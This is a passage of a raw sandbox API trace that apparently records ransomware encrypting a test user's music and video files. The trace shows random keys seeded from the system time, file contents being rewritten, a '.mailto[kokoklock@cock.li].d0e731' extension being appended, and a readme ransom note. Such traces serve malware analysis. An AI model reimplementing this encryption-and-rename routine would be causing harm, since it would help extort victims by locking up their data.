nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x18cff984, lpOverlapped=0x0 | out: lpBuffer=0x3054028*, lpNumberOfBytesWritten=0x18cff984*=0x8, lpOverlapped=0x0) returned 1 [0173.361] WriteFile (in: hFile=0x5cc, lpBuffer=0x18cff99c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x18cff984, lpOverlapped=0x0 | out: lpBuffer=0x18cff99c*, lpNumberOfBytesWritten=0x18cff984*=0x4, lpOverlapped=0x0) returned 1 [0173.362] WriteFile (in: hFile=0x5cc, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x18cff984, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0x18cff984*=0x4, lpOverlapped=0x0) returned 1 [0173.362] WriteFile (in: hFile=0x5cc, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x18cff984, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0x18cff984*=0x6c, lpOverlapped=0x0) returned 1 [0173.362] WriteFile (in: hFile=0x5cc, lpBuffer=0x3053fb0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x18cff984, lpOverlapped=0x0 | out: lpBuffer=0x3053fb0*, lpNumberOfBytesWritten=0x18cff984*=0x20, lpOverlapped=0x0) returned 1 [0173.362] WriteFile (in: hFile=0x5cc, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x18cff984, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0x18cff984*=0x4, lpOverlapped=0x0) returned 1 [0173.362] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3053fb0) returned 1 [0173.362] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3053d58) returned 1 [0173.362] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3054028) returned 1 [0173.362] CloseHandle (hObject=0x5cc) returned 1 [0173.362] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x102) returned 0x2f900c8 [0173.362] wcscpy (in: _Dest=0x2f900c8, _Source="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\vdJXCAf7Mzr8GnbL-_r.mp3.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\vdJXCAf7Mzr8GnbL-_r.mp3.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\vdJXCAf7Mzr8GnbL-_r.mp3.mailto[kokoklock@cock.li].d0e731" [0173.362] wcscat (in: _Dest=0x2f900c8, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\vdJXCAf7Mzr8GnbL-_r.mp3.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\vdJXCAf7Mzr8GnbL-_r.mp3.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0173.362] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\vdJXCAf7Mzr8GnbL-_r.mp3.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\music\\gorxmbaxvtsgdsav\\vdjxcaf7mzr8gnbl-_r.mp3.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\vdJXCAf7Mzr8GnbL-_r.mp3.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\music\\gorxmbaxvtsgdsav\\vdjxcaf7mzr8gnbl-_r.mp3.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0173.363] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\vdJXCAf7Mzr8GnbL-_r.mp3.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0173.364] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f900c8) returned 1 [0173.364] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\vdJXCAf7Mzr8GnbL-_r.mp3.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0173.364] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x74) returned 0x2f8bc10 [0173.364] wcscpy (in: _Dest=0x2f8bc10, _Source="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\" | out: _Dest="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\") returned="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\" [0173.364] wcscat (in: _Dest=0x2f8bc10, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\D0E731-Readme.txt" [0173.364] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\music\\gorxmbaxvtsgdsav\\d0e731-readme.txt")) returned 0x20 [0173.364] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8bc10) returned 1 [0173.364] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x4f0ae18) returned 1 [0173.364] RtlExitUserThread (Status=0x1) Thread: id = 2107 os_tid = 0x11d4 [0173.366] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\7oEngj01Jjy.mp4.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\videos\\sow tdwhgpvpo4a\\7oengj01jjy.mp4.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0173.367] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\7oEngj01Jjy.mp4.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0173.367] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\7oEngj01Jjy.mp4.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\videos\\sow tdwhgpvpo4a\\7oengj01jjy.mp4.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5cc [0173.367] GetFileSizeEx (in: hFile=0x5cc, lpFileSize=0x18d7f874 | out: lpFileSize=0x18d7f874*=9832) returned 1 [0173.367] SetFilePointerEx (in: hFile=0x5cc, liDistanceToMove=0x2664, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.367] ReadFile (in: hFile=0x5cc, lpBuffer=0x18d7f848, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x18d7f844, lpOverlapped=0x0 | out: lpBuffer=0x18d7f848*, lpNumberOfBytesRead=0x18d7f844*=0x4, lpOverlapped=0x0) returned 1 [0173.368] SetFilePointerEx (in: hFile=0x5cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.368] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3053e20 [0173.369] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3053fb0 [0173.369] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3054028 [0173.369] NtQuerySystemTime (in: CurrentTime=0x18d7f820 | out: CurrentTime=0x18d7f820*=132121213306858463) returned 0x0 [0173.369] RtlRandom (in: Seed=0x18d7f82c | out: Seed=0x18d7f82c) returned 0xdea325d6 [0173.369] RtlRandom (in: Seed=0x18d7f82c | out: Seed=0x18d7f82c) returned 0x21a7f07a [0173.369] RtlRandom (in: Seed=0x18d7f82c | out: Seed=0x18d7f82c) returned 0x33d816e6 [0173.369] RtlRandom (in: Seed=0x18d7f82c | out: Seed=0x18d7f82c) returned 0x6fe9523a [0173.369] RtlRandom (in: Seed=0x18d7f82c | out: Seed=0x18d7f82c) returned 0x466c2aa5 [0173.369] RtlRandom (in: Seed=0x18d7f82c | out: Seed=0x18d7f82c) returned 0x1e4b6297 [0173.369] RtlRandom (in: Seed=0x18d7f82c | out: Seed=0x18d7f82c) returned 0x58cb0851 [0173.369] RtlRandom (in: Seed=0x18d7f82c | out: Seed=0x18d7f82c) returned 0x2fa1eb3e [0173.369] RtlRandom (in: Seed=0x18d7f82c | out: Seed=0x18d7f82c) returned 0x1d9030cf [0173.369] RtlRandom (in: Seed=0x18d7f82c | out: Seed=0x18d7f82c) returned 0x716b8f0d [0173.369] RtlRandom (in: Seed=0x18d7f82c | out: Seed=0x18d7f82c) returned 0x410da25e [0173.369] RtlRandom (in: Seed=0x18d7f82c | out: Seed=0x18d7f82c) returned 0xc300c8f2 [0173.369] RtlRandom (in: Seed=0x18d7f82c | out: Seed=0x18d7f82c) returned 0x80bde4c4 [0173.369] RtlRandom (in: Seed=0x18d7f82c | out: Seed=0x18d7f82c) returned 0x20252d48 [0173.369] RtlRandom (in: Seed=0x18d7f82c | out: Seed=0x18d7f82c) returned 0x9df6f801 [0173.369] RtlRandom (in: Seed=0x18d7f82c | out: Seed=0x18d7f82c) returned 0x9fc83fbc [0173.369] RtlRandom (in: Seed=0x18d7f82c | out: Seed=0x18d7f82c) returned 0x9cf33f51 [0173.369] RtlRandom (in: Seed=0x18d7f82c | out: Seed=0x18d7f82c) returned 0x7b439753 [0173.369] RtlRandom (in: Seed=0x18d7f82c | out: Seed=0x18d7f82c) returned 0x429cc0b5 [0173.369] RtlRandom (in: Seed=0x18d7f82c | out: Seed=0x18d7f82c) returned 0xf9fbe8e4 [0173.369] RtlRandom (in: Seed=0x18d7f82c | out: Seed=0x18d7f82c) returned 0x2dbdab4f [0173.369] RtlRandom (in: Seed=0x18d7f82c | out: Seed=0x18d7f82c) returned 0xbccd5311 [0173.369] RtlRandom (in: Seed=0x18d7f82c | out: Seed=0x18d7f82c) returned 0xb6f01bbf [0173.369] RtlRandom (in: Seed=0x18d7f82c | out: Seed=0x18d7f82c) returned 0x7ae84969 [0173.369] RtlRandom (in: Seed=0x18d7f82c | out: Seed=0x18d7f82c) returned 0x9a7c47cc [0173.369] RtlRandom (in: Seed=0x18d7f82c | out: Seed=0x18d7f82c) returned 0x448f7572 [0173.369] RtlRandom (in: Seed=0x18d7f82c | out: Seed=0x18d7f82c) returned 0xae044b0f [0173.369] RtlRandom (in: Seed=0x18d7f82c | out: Seed=0x18d7f82c) returned 0x6fba9219 [0173.369] RtlRandom (in: Seed=0x18d7f82c | out: Seed=0x18d7f82c) returned 0xb060676c [0173.369] RtlRandom (in: Seed=0x18d7f82c | out: Seed=0x18d7f82c) returned 0x8abae268 [0173.369] RtlRandom (in: Seed=0x18d7f82c | out: Seed=0x18d7f82c) returned 0x4858cc7a [0173.369] RtlRandom (in: Seed=0x18d7f82c | out: Seed=0x18d7f82c) returned 0x665f9f56 [0173.378] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3053d58 [0173.380] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x30133c8 [0173.380] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3053b50 [0173.380] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30133c8) returned 1 [0173.380] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3053e20) returned 1 [0173.380] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f87308 [0173.380] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x3013440 [0173.380] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3053d30 [0173.380] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3053d30) returned 1 [0173.380] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x4f02870 [0173.381] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fc6fd0 [0173.381] ReadFile (in: hFile=0x5cc, lpBuffer=0x4f02870, nNumberOfBytesToRead=0x2668, lpNumberOfBytesRead=0x18d7f820, lpOverlapped=0x0 | out: lpBuffer=0x4f02870*, lpNumberOfBytesRead=0x18d7f820*=0x2668, lpOverlapped=0x0) returned 1 [0173.381] SetFilePointerEx (in: hFile=0x5cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x18d7f7e8 | out: lpNewFilePointer=0x0) returned 1 [0173.381] WriteFile (in: hFile=0x5cc, lpBuffer=0x2fc6fd0*, nNumberOfBytesToWrite=0x2668, lpNumberOfBytesWritten=0x18d7f81c, lpOverlapped=0x0 | out: lpBuffer=0x2fc6fd0*, lpNumberOfBytesWritten=0x18d7f81c*=0x2668, lpOverlapped=0x0) returned 1 [0173.381] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3053b78 [0173.381] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3053d30 [0173.381] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3053d30) returned 1 [0173.382] WriteFile (in: hFile=0x5cc, lpBuffer=0x3053b78*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x18d7f818, lpOverlapped=0x0 | out: lpBuffer=0x3053b78*, lpNumberOfBytesWritten=0x18d7f818*=0x20, lpOverlapped=0x0) returned 1 [0173.382] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3053b78) returned 1 [0173.382] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc6fd0) returned 1 [0173.382] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x4f02870) returned 1 [0173.382] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3013440) returned 1 [0173.382] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87308) returned 1 [0173.382] WriteFile (in: hFile=0x5cc, lpBuffer=0x3053b50*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x18d7f844, lpOverlapped=0x0 | out: lpBuffer=0x3053b50*, lpNumberOfBytesWritten=0x18d7f844*=0x8, lpOverlapped=0x0) returned 1 [0173.382] WriteFile (in: hFile=0x5cc, lpBuffer=0x18d7f85c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x18d7f844, lpOverlapped=0x0 | out: lpBuffer=0x18d7f85c*, lpNumberOfBytesWritten=0x18d7f844*=0x4, lpOverlapped=0x0) returned 1 [0173.382] WriteFile (in: hFile=0x5cc, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x18d7f844, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0x18d7f844*=0x4, lpOverlapped=0x0) returned 1 [0173.382] WriteFile (in: hFile=0x5cc, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x18d7f844, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0x18d7f844*=0x6c, lpOverlapped=0x0) returned 1 [0173.382] WriteFile (in: hFile=0x5cc, lpBuffer=0x3053fb0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x18d7f844, lpOverlapped=0x0 | out: lpBuffer=0x3053fb0*, lpNumberOfBytesWritten=0x18d7f844*=0x20, lpOverlapped=0x0) returned 1 [0173.383] WriteFile (in: hFile=0x5cc, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x18d7f844, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0x18d7f844*=0x4, lpOverlapped=0x0) returned 1 [0173.383] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3053fb0) returned 1 [0173.383] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3053d58) returned 1 [0173.383] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3053b50) returned 1 [0173.383] CloseHandle (hObject=0x5cc) returned 1 [0173.383] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xf2) returned 0x2f85218 [0173.383] wcscpy (in: _Dest=0x2f85218, _Source="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\7oEngj01Jjy.mp4.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\7oEngj01Jjy.mp4.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\7oEngj01Jjy.mp4.mailto[kokoklock@cock.li].d0e731" [0173.383] wcscat (in: _Dest=0x2f85218, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\7oEngj01Jjy.mp4.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\7oEngj01Jjy.mp4.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0173.383] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\7oEngj01Jjy.mp4.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\videos\\sow tdwhgpvpo4a\\7oengj01jjy.mp4.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\7oEngj01Jjy.mp4.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\videos\\sow tdwhgpvpo4a\\7oengj01jjy.mp4.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0173.384] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\7oEngj01Jjy.mp4.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0173.384] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f85218) returned 1 [0173.384] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\7oEngj01Jjy.mp4.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0173.384] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x74) returned 0x2f8ba10 [0173.384] wcscpy (in: _Dest=0x2f8ba10, _Source="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\" [0173.384] wcscat (in: _Dest=0x2f8ba10, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\D0E731-Readme.txt" [0173.384] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\videos\\sow tdwhgpvpo4a\\d0e731-readme.txt")) returned 0x20 [0173.385] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8ba10) returned 1 [0173.385] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f84428) returned 1 [0173.385] RtlExitUserThread (Status=0x1) Thread: id = 2108 os_tid = 0x11d8 [0173.386] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\eoET.flv.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\videos\\sow tdwhgpvpo4a\\eoet.flv.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0173.386] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\eoET.flv.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0173.386] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\eoET.flv.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\videos\\sow tdwhgpvpo4a\\eoet.flv.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5cc [0173.387] GetFileSizeEx (in: hFile=0x5cc, lpFileSize=0x18dffad4 | out: lpFileSize=0x18dffad4*=53290) returned 1 [0173.387] SetFilePointerEx (in: hFile=0x5cc, liDistanceToMove=0xd026, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.387] ReadFile (in: hFile=0x5cc, lpBuffer=0x18dffaa8, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x18dffaa4, lpOverlapped=0x0 | out: lpBuffer=0x18dffaa8*, lpNumberOfBytesRead=0x18dffaa4*=0x4, lpOverlapped=0x0) returned 1 [0173.388] SetFilePointerEx (in: hFile=0x5cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.388] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3053e20 [0173.388] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3053fb0 [0173.388] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3053b50 [0173.388] NtQuerySystemTime (in: CurrentTime=0x18dffa80 | out: CurrentTime=0x18dffa80*=132121213307014625) returned 0x0 [0173.388] RtlRandom (in: Seed=0x18dffa8c | out: Seed=0x18dffa8c) returned 0x6d7526ce [0173.388] RtlRandom (in: Seed=0x18dffa8c | out: Seed=0x18dffa8c) returned 0x61a53db2 [0173.388] RtlRandom (in: Seed=0x18dffa8c | out: Seed=0x18dffa8c) returned 0xa04715f0 [0173.388] RtlRandom (in: Seed=0x18dffa8c | out: Seed=0x18dffa8c) returned 0xb051941f [0173.388] RtlRandom (in: Seed=0x18dffa8c | out: Seed=0x18dffa8c) returned 0x83c85a95 [0173.388] RtlRandom (in: Seed=0x18dffa8c | out: Seed=0x18dffa8c) returned 0x7d834ade [0173.388] RtlRandom (in: Seed=0x18dffa8c | out: Seed=0x18dffa8c) returned 0x786df0c9 [0173.388] RtlRandom (in: Seed=0x18dffa8c | out: Seed=0x18dffa8c) returned 0xfa49bdf8 [0173.388] RtlRandom (in: Seed=0x18dffa8c | out: Seed=0x18dffa8c) returned 0xab186556 [0173.388] RtlRandom (in: Seed=0x18dffa8c | out: Seed=0x18dffa8c) returned 0x1a11f481 [0173.388] RtlRandom (in: Seed=0x18dffa8c | out: Seed=0x18dffa8c) returned 0x7ed5eaf1 [0173.388] RtlRandom (in: Seed=0x18dffa8c | out: Seed=0x18dffa8c) returned 0x982451dc [0173.388] RtlRandom (in: Seed=0x18dffa8c | out: Seed=0x18dffa8c) returned 0x11a29ec3 [0173.388] RtlRandom (in: Seed=0x18dffa8c | out: Seed=0x18dffa8c) returned 0x1094a6f2 [0173.388] RtlRandom (in: Seed=0x18dffa8c | out: Seed=0x18dffa8c) returned 0x32643bd5 [0173.388] RtlRandom (in: Seed=0x18dffa8c | out: Seed=0x18dffa8c) returned 0x6c4f595b [0173.388] RtlRandom (in: Seed=0x18dffa8c | out: Seed=0x18dffa8c) returned 0xd0eddc3b [0173.388] RtlRandom (in: Seed=0x18dffa8c | out: Seed=0x18dffa8c) returned 0x6f704a02 [0173.388] RtlRandom (in: Seed=0x18dffa8c | out: Seed=0x18dffa8c) returned 0x45d01807 [0173.388] RtlRandom (in: Seed=0x18dffa8c | out: Seed=0x18dffa8c) returned 0x9c59fa2c [0173.388] RtlRandom (in: Seed=0x18dffa8c | out: Seed=0x18dffa8c) returned 0x1df2e122 [0173.388] RtlRandom (in: Seed=0x18dffa8c | out: Seed=0x18dffa8c) returned 0x9814f89f [0173.388] RtlRandom (in: Seed=0x18dffa8c | out: Seed=0x18dffa8c) returned 0xaa435e70 [0173.388] RtlRandom (in: Seed=0x18dffa8c | out: Seed=0x18dffa8c) returned 0x4e3e1cc1 [0173.388] RtlRandom (in: Seed=0x18dffa8c | out: Seed=0x18dffa8c) returned 0x11254f39 [0173.389] RtlRandom (in: Seed=0x18dffa8c | out: Seed=0x18dffa8c) returned 0xd276d325 [0173.389] RtlRandom (in: Seed=0x18dffa8c | out: Seed=0x18dffa8c) returned 0x8ad1a243 [0173.389] RtlRandom (in: Seed=0x18dffa8c | out: Seed=0x18dffa8c) returned 0xe99f1ece [0173.389] RtlRandom (in: Seed=0x18dffa8c | out: Seed=0x18dffa8c) returned 0xcf5de95a [0173.389] RtlRandom (in: Seed=0x18dffa8c | out: Seed=0x18dffa8c) returned 0x98e661e7 [0173.389] RtlRandom (in: Seed=0x18dffa8c | out: Seed=0x18dffa8c) returned 0xe2a1b1ad [0173.389] RtlRandom (in: Seed=0x18dffa8c | out: Seed=0x18dffa8c) returned 0x473a58dc [0173.398] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3053d58 [0173.400] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x30133c8 [0173.400] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3053b78 [0173.400] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30133c8) returned 1 [0173.400] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3053e20) returned 1 [0173.400] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x4f02870 [0173.400] SetFilePointerEx (in: hFile=0x5cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.400] ReadFile (in: hFile=0x5cc, lpBuffer=0x4f02870, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x18dffa58, lpOverlapped=0x0 | out: lpBuffer=0x4f02870*, lpNumberOfBytesRead=0x18dffa58*=0x4096, lpOverlapped=0x0) returned 1 [0173.400] SetFilePointerEx (in: hFile=0x5cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.400] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f87308 [0173.400] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x3013440 [0173.400] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3053d30 [0173.400] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3053d30) returned 1 [0173.401] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fc6fd0 [0173.401] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3053c68 [0173.401] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3053d30 [0173.401] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3053d30) returned 1 [0173.401] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3013440) returned 1 [0173.401] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87308) returned 1 [0173.401] WriteFile (in: hFile=0x5cc, lpBuffer=0x2fc6fd0*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x18dffa58, lpOverlapped=0x0 | out: lpBuffer=0x2fc6fd0*, lpNumberOfBytesWritten=0x18dffa58*=0x4096, lpOverlapped=0x0) returned 1 [0173.401] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc6fd0) 